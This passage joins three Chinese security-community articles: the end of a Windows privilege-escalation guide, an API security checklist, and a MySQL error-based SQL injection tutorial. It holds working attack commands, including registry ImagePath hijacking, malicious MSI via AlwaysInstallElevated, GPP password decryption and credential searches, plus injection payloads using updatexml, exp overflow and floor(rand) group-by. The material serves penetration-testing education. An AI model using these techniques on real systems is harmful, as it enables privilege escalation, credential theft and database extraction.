要强制重新启动，可以重新启动系统，或者可以通过社工管理员或管理自己重新启动系统。
该服务还可能在启动时抛出错误消息：
C:\Users\user\Desktop>sc start "ServiceName"
sc start "ServiceName"
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
C:\Users\user\Destkop>
当Windows执行服务时，它们应与Windows服务控制管理器通信。如果不这样做，`SCM`就会杀死这个进程。通过使用执行自动迁移到新进程的payload，手动迁移进程，或者在执行后将服务的bin路径设置回原始服务二进制文件，可以解决这个问题。
### 注册表
以下是通过注册表识别漏洞的一些方法。
注册表由一系列`配置单元`或`配置集合`组成。它们按以下方式分解：
* HKEY_CLASSES_ROOT - 文件类型的默认应用程序
* HKEY_CURRENT_USER - 当前用户的个人资料
* HKEY_LOCAL_MACHINE - 系统配置信息
* HKEY_USERS - 系统用户配置文件
* HKEY_CURRENT_CONFIG - 系统启动硬件配置文件
可以从命令行调用注册表，也可以使用GUI工具Regedit进行交互
[SUBINACL](https://www.microsoft.com/en-us/download/details.aspx?id=23510)工具有助于检查注册表项，但它必须被部署为一个.msi。如果系统`AlwaysInstallElevated`没有配置错误，则低权限用户无法使用更高权限安装`.msi`。（有关AlwaysInstallElevated的详细信息，请参阅后面的部分。）
例如，要使用SubInACL查询易受攻击的服务：
C:\Users\user\Desktop>subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Service" /display
subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service" /display
SeSecurityPrivilege : Access is denied.
WARNING :Unable to set SeSecurityPrivilege privilege. This privilege may be required.
===============================================================================
+KeyReg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Service
===============================================================================
/control=0x400 SE_DACL_AUTO_INHERITED-0x0400
/owner =builtin\administrators
/primary group =system
/perm. ace count =10
/pace =everyone ACCESS_ALLOWED_ACE_TYPE-0x0
CONTAINER_INHERIT_ACE-0x2
Key and SubKey - Type of Access:
Full Control
Detailed Access Flags :
KEY_QUERY_VALUE-0x1 KEY_SET_VALUE-0x2 KEY_CREATE_SUB_KEY-0x4
KEY_ENUMERATE_SUB_KEYS-0x8 KEY_NOTIFY-0x10 KEY_CREATE_LINK-0x20 DELETE-0x10000
READ_CONTROL-0x20000 WRITE_DAC-0x40000 WRITE_OWNER-0x80000
C:\Users\user\Desktop>
在上面的例子中，everyone给出了full control。
也可以使用AccessChk工具查询注册表。
一旦发现有漏洞的配置，就可以将木马放入服务的ImagePath中。
C:\Users\user\Desktop>reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Service" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\user\Desktop\malicious.exe" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\user\Desktop\malicious.exe" /f
The operation completed successfully.
C:\Users\user\Desktop>
与上面情况一样，必须重新启动服务才能运行木马。
即使系统上的所有服务都是封闭的，注册表也可能会出现其他漏洞。可能会保存凭据或其他信息，或者可以调整配置。此外，`reg`命令还可用于本地保存注册表配置单元，以便使用`RegRipper`等工具进行散列破解，`SAM文件`提取和静态分析。
### 不安全的文件系统权限
管理员通常为某些路径配置自由权限，以避免潜在的访问错误。这可以提供一种简单的利用途径，因此考虑与服务和服务二进制文件关联的文件系统权限是关键。
在配置错误的Windows服务的情况下，可能存在服务可执行文件的路径被完全引用并且服务权限被限制但实际二进制文件本身就不安全。
For example:
C:\Program Files (x86)\Program Folder>icacls "C:\Program Files (x86)\Program\Service Folder"
icacls "C:\Program Files (x86)\Program\Service Folder"
C:\Program Files (x86)\Program\Service Folder Everyone:(OI)(CI)(F)
Everyone:(I)(OI)(CI)(F)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
Successfully processed 1 files; Failed processing 0 files
C:\Program Files (x86)\Program Folder>
在上面的例子中，`Everyone`具有路径的完全控制权限（F）。
还可以使用AccessChk工具调查文件系统权限。
默认情况下，所有经过身份验证的用户都可以写入安装在根`C:\`目录中的软件目录。例如，Ruby，Perl和Python等脚本语言或Landesk或Marimba等远程管理工具的目录。系统安装后创建的目录通常也是可写的。`C:\root`中的可写目录可能位于应用程序的路径中，这意味着二进制文件或`.dll`之类的项也可以注入其路径中。
### AlwaysInstallElevated
`AlwaysInstallElevated`是一种允许非管理用户以SYSTEM权限运行`Microsoft
Windows`安装程序包（.MSI文件）的设置。默认情况下禁用此设置，需系统管理员手动启用他。
可以通过查询以下注册表项来识别此设置：
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
例如，通过使用`reg query`命令：
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
or:
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果存在漏洞，上面将输出以下内容：
C:\Users\user\Desktop>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
C:\Users\user\Desktop>
如果系统没这个漏洞，它将输出错误：
C:\Users\user\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
ERROR: The system was unable to find the specified registry key or value.
C:\Users\user\Desktop>
如果系统配置了AlwaysInstallElevated，则可以利用它来提升权限。
可以使用msfvenom创建恶意.msi文件。选择所需的payload并设置使用`-f msi`将输出格式设置为MSI。
然后可以使用[msiexec](https://msdn.microsoft.com/en-us/library/aa367988.aspx)在易受攻击的系统上执行攻击代码。
### 组策略首选项漏洞
组策略首选项（GPP）与附加到域的计算机的基于Server 2008策略的配置一起发布。
客户端计算机定期使用当前登录用户的帐户凭据进行域控制，以进行身份验证，然后生成配置策略。
可用于软件部署，配置启动脚本，映射网络共享，配置注册表配置单元，配置打印机，管理安全权限等。还可以为本地管理员帐户配置密码。
这些策略文件存储在域控制器的`SYSVOL`共享中的一系列.xml文件中。
路径通常是这样的：
\\REMOTE_HOST\SYSVOL\REMOTE_HOST\Policies\{POLICY_ID}\Machine\Preferences\
可能存在以下配置文件：
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml
这些配置文件可能包含名为“cpassword”的配置选项，用于配置帐户的密码。这些密码使用32字节AES密钥 加密 ：
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
此漏洞已通过MS14-025解决，但此修补程序仅阻止创建新策略，并且包含凭据的任何旧版GPP仍然容易受到攻击。
破解密码可以使用该配置访问计算机的本地管理员帐户，这可以通过Kali中的`gpp-decrypt`命令完成：
root@kali:~# gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Local*P4ssword!
### 凭证窃取(读书人怎么能叫窃呢)
在主机上可以找到一些密码：
unattend.xml
GPP.xml
SYSPREP.INF
sysprep.xml
其他各种配置文件
日志文件
注册表项
文件如my_passwords.txt，my_passwords.xls等
还可以搜索文件系统以查找常见的敏感文件。
ps：个人愚见，提权就是看你信息收集的全面不全面
C:\Users\user\Desktop> dir C:\*vnc.ini /s /b /c
或者在名称中包含关键词的项目：
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr \*password\*
或者可以在文件内容中搜索`password`之类的关键字：
C:\Users\user\Desktop>findstr /si password \*.txt | \*.xml | \*.ini
可以查询注册表，例如，字符串`password`：
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
系统管理员可能有包含凭据的配置文件。`unattend.xml`文件用于自动化软件部署，并包含纯文本（base64编码）凭据。此外，已知一些用户将其密码保存在纯文本文件中是为了方便而忽视了安全性。
### 令牌权限
可以在以下系统中滥用这些令牌：
Microsoft Windows XP Professional SP3和之前版本
Windows Server 2003 SP2和之前的版本
Windows Server 2003 x64和x64 SP2
Windows Server 2003（用于基于Itanium的系统SP2和先前版本）
Windows Server 2008
Windows Server 2008 x64
Windows Server 2008（用于基于Itanium的系统）
Windows Vista SP1和之前的版本
Windows Vista x64 SP1和之前的版本
帐户有许多可利用的令牌权限：
SeImpersonatePrivilege
SeAssignPrimaryPrivilege
SeTcbPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeCreateTokenPrivilege
SeLoadDriverPrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
要查看与当前帐户使用关联的权限`whoami /priv`。
这些权限可能与帐户相关联，从根本上意味着用户能够进行导致操作系统以可利用的方式运行payload的操作。
如果他们的帐户具有必要的权限，则攻击者可以调用Microsoft分布式事务处理协调器（MSDTC）服务来执行某些操作。
它在进行远程过程调用时请求提升权限，然后调用它从而生成特权安全令牌以执行特权操作。当系统允许这些令牌不仅用于进程本身，而且还用于原始请求进程时，漏洞就会出现。
有些帐户更有可能拥有这些帐户，并且有很多方法可以利用这些帐户。例如：
获取对用于系统备份的服务帐户的访问权限，并强制与运行[responder.py](https://github.com/SpiderLabs/Responder)的SMB共享进行NTLM通信
利用Web服务并获得可以执行SQL查询和帐户的帐户的访问权限 XP_CMDSHELL
Kerberoast攻击，或从域控制器获取Kerberos票证并将其脱机
在以完全信任模式配置IIS的系统上执行ASP.NET代码
能够为ISAPI过滤器或扩展提供代码
发现其他服务帐户凭据泄漏
利用令牌权限是许多权限升级漏洞利用的技术，例如Metasploit中的许多工具，以及DirtyPotato等。这是一个值得开发的领域，值得进一步研究。有关这方面的更多信息，请参见[此处](https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/)。
### DLL劫持
动态链接库（DLL）通过提供跨系统共享的可执行代码模块，在操作系统上提供了大量功能。当开发人员未指定DLL的完全限定的绝对路径时，就会出现漏洞。
当进程调用DLL时，它按以下顺序查找它：
加载应用程序的目录（例如，相对路径引用的DLL）
32位系统目录（C:\Windows\System32）
16位系统目录（C:\Windows\System）
Windows目录（C:\Windows）
当前工作目录（CWD）
PATH环境变量中的目录（系统路径，然后是用户路径）
它执行它找到的.dll的第一个实例。
首先，有几种方法可以识别这个漏洞的流程。
该进程监视工具可以用来查看整个的过程，以及搜索和过滤他们的活动，对脆弱的DLL进行调用。
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\ServiceName\Parameters`可以查询注册表项以查看服务运行的服务DLL，或者可以将二进制文件加载到IDA中并搜索`loadlibrary`库调用。另外一定要检查DLL本身的DLL调用！
一旦找到易受攻击的DLL调用，就必须检查该DLL的文件系统：
C:\> dir vulnerable.dll /s
还要注意，不要因为它找不到就认为它不存在。它可能只是在当前用户帐户无法查看的目录中。
最后，要执行`DLL highjack`，需要在目录层次结构中的某个位置，原始.dll本身，CWD或PATH中的目录中编写安全测试的dll。
`PATH`是一个环境变量，它定义命令解释器在发出命令时应查找可执行文件的位置。修改PATH，并将.dll写入PATH中的目录，允许进行DLL劫持，进程在PATH中搜索.dll文件。
要修改PATH，例如：
C:\Users\user\Desktop>set PATH=%PATH%;C:\Python27
这将允许通过`C:\Python27`目录中的路径加载可执行文件和DLL，默认情况下，任何经过身份验证的用户都可以写入该目录。
一些已知具有DLL劫持漏洞的Windows服务是：
IKE和AuthIP IPsec密钥模块（IKEEXT）：wlbsctrl.dll
Windows Media Center接收器服务（ehRecvr）：ehETW.dll
Windows Media Center计划程序服务（ehSched）：ehETW.dll
自动更新（wuauserv）：ifsproxy.dll
远程桌面帮助会话管理器（RDSessMgr）：SalemHook.dll
远程访问连接管理器（RasMan）：ipbootp.dll
Windows Management Instrumentation（winmgmt）：wbemcore.dll
音频服务（STacSV）：SFFXComm.dll SFCOM.DLL
英特尔快速存储技术（IAStorDataMgrSvc）：DriverSim.dll
Juniper统一网络服务（JuniperAccessService）：dsLogService.dll
Encase Enterprise Agent：SDDisk.dll
可以在[此处](https://www.exploit-db.com/dll-hijacking-vulnerable-applications/)找到已知具有dll劫持漏洞的其他服务
### 工具和框架
幸运的是，有许多工具和框架可以使提权变得更容易：
Metasploit
Sherlock
windows-privesc-check
Windows-Exploit-Suggester
PowerUp, now part of PowerSploit
Nishang
其中许多工具可以通过自动识别可利用的错误配置或通过检查系统补丁级别与常见的已知漏洞来帮助您。但它们不是100％有效，所以要注意误报/漏报！
ps:上面的工具老司机应该都很熟练了
### 最后的想法
感谢您的阅读，我希望您发现本指南很有用。（我希望你已经获得了那个SYSTEM shell！）
我将在接下来的几个月内发表一些有趣的研究，但我恐怕此时不能再详细介绍，敬请期待！;）
此致，
EOF
### 参考
ps：下面都是优秀的博客噢！
Windows权限升级基础
https://www.fuzzysecurity.com/tutorials/16.html
Windows权限升级第1部分：本地管理员权限
https://blog.netspi.com/windows-privilege-escalation-part-1-local-administrator-privileges/
Pentesters的Windows权限提升方法
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
“嗯，快速升级”常见的Windows权限升级向量
https://toshellandback.com/2015/11/24/ms-priv-esc/
自动执行Windows权限提升
http://resources.infosecinstitute.com/automating-windows-privilege-escalation/
Windows 8上的Extreme Privilege Escalation
https://www.blackhat.com/docs/us-14/materials/us-14-Kallenberg-Extreme-Privilege-Escalation-On-Windows8-UEFI-Systems.pdf
滥用令牌权限进行Windows本地权限提升
https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/
Microsoft Windows令牌绑定权限提升漏洞
https://tools.cisco.com/security/center/viewAlert.x?alertId=15702
您对GPP了解多少？
https://www.toshellandback.com/2015/08/30/gpp/
Windows操作系统中的Privelege升级
http://www.cs.toronto.edu/~arnold/427/15s/csc427/indepth/privilege-escalation/privilege-escalation-windows.pdf
滥用EOP的令牌权限
https://github.com/hatRiot/token-priv
利用弱文件夹权限提升权限
http://www.greyhathacker.net/?p=738
Metasploit Unleashed：特权升级
https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/
位操作：将系统令牌作为普通用户窃取
https://zerosum0x0.blogspot.nl/2016/02/bits-manipulation-stealing-system.html
不带引号的服务路径
https://www.commonexploits.com/unquoted-service-paths/
Windows中的权限提升
https://codemuch.tech/2017/05/14/priv-esc-win.html
SysInternals AccessChk工具
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
AccessChk.exe使用指南
https://blogs.technet.microsoft.com/secguide/2008/07/21/how-to-use-accesschk-exe-for-security-compliance-management/
SubInACL.exe下载
https://www.microsoft.com/en-us/download/details.aspx?id=23510
当我输入getsystem时会发生什么
https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
动态链接库搜索顺序
https://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx
进程监视器下载
https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
动态链接库安全性
https://msdn.microsoft.com/en-us/library/windows/desktop/ff919712(v=vs.85).aspx
Windows文件和文件夹权限指南
https://msdn.microsoft.com/en-us/library/bb727008.aspx
SECWIKI
https://github.com/SecWiki
Acess Tokens
https://msdn.microsoft.com/en-us/library/windows/desktop/aa374909(v=vs.85).aspx
访问令牌的工作原理
https://technet.microsoft.com/en-us/library/cc783557(v=ws.10).aspx
Windows REG参考
https://ss64.com/nt/reg.html
Windows CMD参考
https://ss64.com/nt/
如何使用Regedit
https://www.techsupportalert.com/content/learn-how-use-windows-registry-editor-regedit-one-easy-lesson.htm
调用-WCMDump
https://securityonline.info/invoke-wcmdump-dump-windows-credentials-from-the-credential-manager/
WMIC命令参考
https://www.computerhope.com/wmic.htm
PowerShell参考
https://ss64.com/ps/
penetration-testing-ninjitsu-with-ed
http://carnal0wnage.blogspot.com/2008/02/penetration-testing-ninjitsu-with-ed.html
DLL劫持易受攻击的应用程序
https://www.exploit-db.com/dll-hijacking-vulnerable-applications/
Windows/Linux本地特权升级研讨会
https://github.com/sagishahar/lpeworkshop
如何使用组策略劫持攻击拥有任何Windows网络
https://labs.mwrinfosecurity.com/blog/how-to-own-any-windows-network-with-group-policy-hijacking-attacks/
真实世界中的Pentesting：组策略Pwnage
https://blog.rapid7.com/2016/07/27/pentesting-in-the-real-world-group-policy-pwnage/
Windows内核漏洞利用
https://pentestlab.blog/2017/04/24/windows-kernel-exploits/
### END
我也会争取在自己的空余时间里分享更多的技巧，[请多指教](https://evilwing.me) | 社区文章 |
GitHub：<https://github.com/shieldfy/API-Security-Checklist/blob/master/README-zh.md>
以下是当你在设计, 测试以及发布你的 API 的时候所需要核对的重要安全措施.
* * *
## 身份认证
* 不要使用 `Basic Auth` 使用标准的认证协议 (如 JWT, OAuth).
* 不要再造 `Authentication`, `token generating`, `password storing` 这些轮子, 使用标准的.
* 在登录中使用 `Max Retry` 和自动封禁功能.
* 加密所有的敏感数据.
### JWT (JSON Web Token)
* 使用随机复杂的密钥 (`JWT Secret`) 以增加暴力破解的难度.
* 不要在请求体中直接提取数据, 要对数据进行加密 (`HS256` 或 `RS256`).
* 使 token 的过期时间尽量的短 (`TTL`, `RTTL`).
* 不要在 JWT 的请求体中存放敏感数据, 它是[可破解的](https://jwt.io/#debugger-io).
### OAuth 授权或认证协议
* 始终在后台验证 `redirect_uri`, 只允许白名单的 URL.
* 每次交换令牌的时候不要加 token (不允许 `response_type=token`).
* 使用 `state` 参数并填充随机的哈希数来防止跨站请求伪造(CSRF).
* 对不同的应用分别定义默认的作用域和各自有效的作用域参数.
## 访问
* 限制流量来防止 DDoS 攻击和暴力攻击.
* 在服务端使用 HTTPS 协议来防止 MITM 攻击.
* 使用 `HSTS` 协议防止 SSLStrip 攻击.
## 输入
* 使用与操作相符的 HTTP 操作函数, `GET (读取)`, `POST (创建)`, `PUT (替换/更新)` 以及 `DELETE (删除记录)`, 如果请求的方法不适用于请求的资源则返回 `405 Method Not Allowed`.
* 在请求头中的 `content-type` 字段使用内容验证来只允许支持的格式 (如 `application/xml`, `application/json` 等等) 并在不满足条件的时候返回 `406 Not Acceptable`.
* 验证 `content-type` 的发布数据和你收到的一样 (如 `application/x-www-form-urlencoded`, `multipart/form-data`,`application/json` 等等).
* 验证用户输入来避免一些普通的易受攻击缺陷 (如 `XSS`, `SQL-注入`, `远程代码执行` 等等).
* 不要在 URL 中使用任何敏感的数据 (`credentials`, `Passwords`, `security tokens`, or `API keys`), 而是使用标准的认证请求头.
* 使用一个 API Gateway 服务来启用缓存、访问速率限制 (如 `Quota`, `Spike Arrest`, `Concurrent Rate Limit`) 以及动态地部署 APIs resources.
## 处理
* 检查是否所有的终端都在身份认证之后, 以避免被破坏了的认证体系.
* 避免使用特有的资源 id. 使用 `/me/orders` 替代 `/user/654321/orders`
* 使用 `UUID` 代替自增长的 id.
* 如果需要解析 XML 文件, 确保实体解析(entity parsing)是关闭的以避免 `XXE` 攻击.
* 如果需要解析 XML 文件, 确保实体扩展(entity expansion)是关闭的以避免通过指数实体扩展攻击实现的 `Billion Laughs/XML bomb`.
* 在文件上传中使用 CDN.
* 如果需要处理大量的数据, 使用 Workers 和 Queues 来快速响应, 从而避免 HTTP 阻塞.
* 不要忘了把 DEBUG 模式关掉.
## 输出
* 发送 `X-Content-Type-Options: nosniff` 头.
* 发送 `X-Frame-Options: deny` 头.
* 发送 `Content-Security-Policy: default-src 'none'` 头.
* 删除指纹头 - `X-Powered-By`, `Server`, `X-AspNet-Version` 等等.
* 在响应中强制使用 `content-type`, 如果你的类型是 `application/json` 那么你的 `content-type` 就是`application/json`.
* 不要返回敏感的数据, 如 `credentials`, `Passwords`, `security tokens`.
* 在操作结束时返回恰当的状态码. (如 `200 OK`, `400 Bad Request`, `401 Unauthorized`, `405 Method Not Allowed` 等等).
## 持续集成和持续部署
* 使用单元测试和集成测试来审计你的设计和实现.
* 引入代码审查流程, 不要自行批准更改.
* 在推送到生产环境之前确保服务的所有组件都用杀毒软件静态地扫描过, 包括第三方库和其它依赖.
* 为部署设计一个回滚方案.
* * *
## 也可以看看：
* [yosriady/api-development-tools](https://github.com/yosriady/api-development-tools) \- 用于构建RESTful HTTP+JSON API的有用资源集合。 | 社区文章 |
SQL报错注入就是利用数据库的某些机制，人为地制造错误条件，使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用，毕竟用盲注的话既耗时又容易被封。
MYSQL报错注入个人认为大体可以分为以下几类：
1. BIGINT等数据类型溢出
2. xpath语法错误
3. concat+rand()+group_by()导致主键重复
4. 一些特性
下面就针对这几种错误类型看看背后的原理是怎样的。
## 0x01 数据溢出
这里可以看到mysql是怎么处理整形的：[Integer Types (Exact
Value)](https://dev.mysql.com/doc/refman/5.5/en/integer-types.html)，如下表：
Type | Storage | Minimum Value | Maximum Value
---|---|---|---
| (Bytes) | (Signed/Unsigned) | (Signed/Unsigned)
TINYINT | 1 | -128 | 127
| | 0 | 255
SMALLINT | 2 | -32768 | 32767
| | 0 | 65535
MEDIUMINT | 3 | -8388608 | 8388607
| | 0 | 16777215
INT | 4 | -2147483648 | 2147483647
| | 0 | 4294967295
BIGINT | 8 | -9223372036854775808 | 9223372036854775807
| | 0 | 18446744073709551615
在mysql5.5之前，整形溢出是不会报错的，根据官方文档说明[out-of-range-and-overflow](https://dev.mysql.com/doc/refman/5.5/en/out-of-range-and-overflow.html)，只有版本号大于5.5.5时，才会报错。试着对最大数做加法运算，可以看到报错的具体情况：
mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
在mysql中，要使用这么大的数，并不需要输入这么长的数字进去，使用按位取反运算运算即可：
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select ~0+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'
我们知道，如果一个查询成功返回，则其返回值为0，进行逻辑非运算后可得1，这个值是可以进行数学运算的：
mysql> select (select * from (select user())x);
+----------------------------------+
| (select * from (select user())x) |
+----------------------------------+
| root@localhost |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select !(select * from (select user())x);
+-----------------------------------+
| !(select * from (select user())x) |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.01 sec)
mysql> select !(select * from (select user())x)+1;
+-------------------------------------+
| !(select * from (select user())x)+1 |
+-------------------------------------+
| 2 |
+-------------------------------------+
1 row in set (0.00 sec)
同理，利用exp函数也会产生类似的溢出错误：
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
注入姿势：
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
利用这一特性，再结合之前说的溢出报错，就可以进行注入了。这里需要说一下，经笔者测试，发现在mysql5.5.47可以在报错中返回查询结果：
mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
而在mysql>5.5.53时，则不能返回查询结果
mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(`a`.`x`)) - ~(0))'
此外，报错信息是有长度限制的，在mysql/my_error.c中可以看到：
/* Max length of a error message. Should be
kept in sync with MYSQL_ERRMSG_SIZE. */
#define ERRMSGSIZE (512)
## 0x02 xpath语法错误
从mysql5.1.5开始提供两个[XML查询和修改的函数](https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html)，extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容，updatexml则负责修改查询到的内容:
mysql> select extractvalue(1,'/a/b');
+------------------------+
| extractvalue(1,'/a/b') |
+------------------------+
| |
+------------------------+
1 row in set (0.01 sec)
它们的第二个参数都要求是符合xpath语法的字符串，如果不满足要求，则会报错，并且将查询结果放在报错信息里：
mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
## 0x03 主键重复
这里利用到了count()和group by在遇到rand()产生的重复值时报错的思路。网上比较常见的payload是这样的：
mysql> select count(*) from test group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
可以看到错误类型是duplicate entry，即主键重复。实际上只要是count，rand()，group by三个连用就会造成这种报错，与位置无关：
mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
这种报错方法的本质是因为`floor(rand(0)*2)`的重复性，导致group by语句出错。`group by
key`的原理是循环读取数据的每一行，将结果保存于临时表中。读取每一行的key时，如果key存在于临时表中，则不在临时表中更新临时表的数据；如果key不在临时表中，则在临时表中插入key所在行的数据。举个例子，表中数据如下：
mysql> select * from test;
+------+-------+
| id | name |
+------+-------+
| 0 | jack |
| 1 | jack |
| 2 | tom |
| 3 | candy |
| 4 | tommy |
| 5 | jerry |
+------+-------+
6 rows in set (0.00 sec)
我们以`select count(*) from test group by name`语句说明大致过程如下：
* 先是建立虚拟表，其中key为主键，不可重复：
key | count(*)
---|---
* 开始查询数据，去数据库数据，然后查看虚拟表是否存在，不存在则插入新记录，存在则count(*)字段直接加1：
key | count(*)
---|---
jack | 1
key | count(*)
---|---
jack | 1+1
key | count(*)
---|---
jack | 1+1
tom | 1
key | count(*)
---|---
jack | 1+1
tom | 1
candy | 1
当这个操作遇到rand(0)*2时，就会发生错误，其原因在于rand(0)是个稳定的序列，我们计算两次rand(0)：
mysql> select rand(0) from test;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
| 0.6387474552157777 |
| 0.33109208227236947 |
| 0.7392180764481594 |
| 0.7028141661573334 |
+---------------------+
6 rows in set (0.00 sec)
mysql> select rand(0) from test;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
| 0.6387474552157777 |
| 0.33109208227236947 |
| 0.7392180764481594 |
| 0.7028141661573334 |
+---------------------+
6 rows in set (0.00 sec)
同理，floor(rand(0)*2)则会固定得到011011...的序列(这个很重要)：
mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
+------------------+
6 rows in set (0.00 sec)
回到之前的group by语句上，我们将其改为`select count(*) from test group by
floor(rand(0)*2)`，看看每一步是什么情况：
* 先建立空表
key | count(*)
---|---
* 取第一条记录，执行`floor(rand(0)*2)`，发现结果为0(第一次计算)，查询虚表，发现没有该键值，则会再计算一次`floor(rand(0)*2)`，将结果1(第二次计算)插入虚表，如下：
key | count(*)
---|---
1 | 1
* 查第二条记录，再次计算`floor(rand(0)*2)`，发现结果为1(第三次计算)，查询虚表，发现键值1存在，所以此时不在计算第二次，直接count(*)值加1，如下：
key | count(*)
---|---
1 | 1+1
* 查第三条记录，再次计算`floor(rand(0)*2)`，发现结果为0(第四次计算)，发现键值没有0，则尝试插入记录，此时会又一次计算`floor(rand(0)*2)`，结果1(第5次计算)当作虚表的主键，而此时1这个主键已经存在于虚表中了，所以在插入的时候就会报主键重复的错误了。
* 最终报错的结果，即主键'1'重复：
mysql> select count(*) from test group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
整个查询过程中，`floor(rand(0)*2)`被计算了5次，查询原始数据表3次，所以表中需要至少3条数据才能报错。关于这个rand()的问题，官方文档在[这里](https://dev.mysql.com/doc/refman/5.7/en/mathematical-functions.html#function_rand)有个说明：
RAND() in a WHERE clause is evaluated for every row (when selecting from one table) or combination of rows (when selecting from a multiple-table join). Thus, for optimizer purposes, RAND() is not a constant value and cannot be used for index optimizations.
如果有一个序列开头时`0,1,0`或者`1,0,1`，则无论如何都不会报错了，因为虚表开头两个主键会分别是0和1，后面的就直接count(*)加1了：
mysql> select floor(rand(1)*2) from test;
+------------------+
| floor(rand(1)*2) |
+------------------+
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
+------------------+
6 rows in set (0.00 sec)
mysql> select count(*) from test group by floor(rand(1)*2);
+----------+
| count(*) |
+----------+
| 3 |
| 3 |
+----------+
2 rows in set (0.00 sec)
## 0x04 一些特性
### 列名重复
mysql列名重复会报错，我们利用name_const来制造一个列：
mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
ERROR 1060 (42S21): Duplicate column name '5.7.17'
